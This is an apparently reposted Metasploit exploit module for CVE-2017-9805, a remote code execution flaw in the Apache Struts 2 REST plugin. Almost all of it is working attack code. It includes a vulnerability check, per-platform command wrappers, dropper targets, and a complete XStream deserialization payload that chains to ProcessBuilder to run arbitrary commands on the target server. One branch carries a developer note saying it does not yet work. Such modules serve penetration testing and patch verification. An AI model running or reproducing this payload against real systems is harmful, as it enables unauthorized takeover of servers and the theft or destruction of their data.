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Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution Exploit
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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts 2 REST Plugin XStream RCE', 'Description' => %q{ Apache Struts versions 2.5 through 2.5.12 using the REST plugin are vulnerable to a Java deserialization attack in the XStream library. }, 'Author' => [ 'Man Yue Mo', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2017-9805'], ['URL', 'https://struts.apache.org/docs/s2-052.html'], ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'], ['URL', 'https://github.com/mbechler/marshalsec'] ], 'DisclosureDate' => 'Sep 5 2017', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'python', 'linux', 'win'], 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD ], ['Python (In-Memory)', 'Platform' => 'python', 'Arch' => ARCH_PYTHON ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3']) ]) end def check res = send_request_cgi( 'method' => 'POST', 'uri' => target_uri.path, 'ctype' => 'application/xml', 'data' => random_crap ) if res && res.code == 500 && res.body.include?('xstream') CheckCode::Appears else CheckCode::Safe end end def exploit case target.name when /Unix/, /Python/, /PowerShell/ execute_command(payload.encoded) else execute_cmdstager end end def execute_command(cmd, opts = {}) case target.name when /Unix/, /Linux/ cmd = %W{/bin/sh -c #{cmd}} when /Python/ cmd = %W{python -c #{cmd}} when /PowerShell/ # This shit doesn't work yet require 'pry'; binding.pry cmd = %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}} when /Windows/ cmd = %W{cmd.exe /c #{cmd}} end # Encode each command argument with HTML entities cmd.map! { |arg| Rex::Text.html_encode(arg) } send_request_cgi( 'method' => 'POST', 'uri' => target_uri.path, 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) end # java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO def xstream_payload(cmd) # XXX: <spillLength> and <read> need to be removed for Windows <<EOF <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>#{cmd.join('</string><string>')}</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>#{random_crap}</name> </filter> <next class="string">#{random_crap}</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> EOF end def random_crap Rex::Text.rand_text_alphanumeric(rand(42) + 1) end end # 0day.today [2024-12-25] #